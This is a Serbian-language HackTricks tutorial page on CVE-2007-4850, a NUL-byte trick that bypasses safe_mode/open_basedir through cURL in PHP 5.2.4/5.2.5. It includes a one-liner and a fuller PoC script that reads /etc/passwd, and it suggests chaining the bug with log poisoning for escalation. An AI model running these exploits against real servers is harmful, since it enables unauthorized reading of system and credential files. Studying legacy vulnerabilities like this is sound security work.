PHP 5.2.4 and 5.2.5 PHP cURL

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Ova stranica dokumentuje legacy trik koji je i dalje koristan u CTF-ovima i lokalnim starim instalacijama za zaobilaženje PHP safe_mode/open_basedir provera koristeći cURL ekstenziju na određenim PHP 5.2.x buildovima.

  • Affected: PHP 5.2.4 and 5.2.5 with ext/curl enabled.
  • Impact: Čitanje proizvoljnih lokalnih fajlova uprkos restrikcijama safe_mode ili open_basedir (bez direktnog izvršavanja koda).
  • ID: CVE-2007-4850.

Iz http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

One-liner PoC

Ako su safe_mode ili open_basedir aktivni i cURL je omogućen, sledeće će vratiti sadržaj trenutnog skripta:

php
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

Jasniji PoC (proizvoljno čitanje datoteke)

php
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

Napomene:

  • Koristite dvostruke navodnike ili chr(0) da ubacite pravi NUL bajt. Percent-encoding (%00) neće pouzdano raditi.
  • Ovo je file read primitive. Kombinujte ga sa drugim primitives (log poisoning, session file inclusion, itd.) za dalju eskalaciju kad je moguće.

Zašto ovo radi (ukratko)

Ranljivost leži u načinu na koji PHP 5.2.4/5.2.5 izvršava safe_mode/open_basedir provere za file:// URL-ove u ext/curl. Provera je parsirala URL i validirala komponentu putanje, ali zbog rukovanja NUL-bajtovima validirala je drugačiji niz od onog koji je zapravo koristio libcurl. U praksi, validator je mogao odobriti putanju nakon NUL-a, dok je libcurl koristio deo pre NUL-a kao URL kontejner, omogućavajući zaobilaženje koje dovodi do čitanja fajla postavljenog posle NUL bajta. Pogledajte originalnu analizu i pogođeni makro u curl/interface.c za detalje. [CVE-2007-4850].

Ograničenja i ispravke

  • Ispravljeno u kasnijim 5.2.x (npr. distro builds patched to 5.2.6) ispravljanjem parsiranja/validacije u ext/curl.
  • Pogađa samo veoma stare PHP instalacije; safe_mode je uklonjen u PHP 5.4 i moderni buildovi ne pokazuju ovo ponašanje.

Pogledajte takođe

Drugi disable_functions/open_basedir bypasses i moderne tehnike su prikupljene ovde:

HackTricks

References

  • Ubuntu CVE entry with patch pointers and affected versions: https://ubuntu.com/security/CVE-2007-4850
  • Technical writeup with code context (cxsecurity): http://cxsecurity.com/issue/WLB-2008010060

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks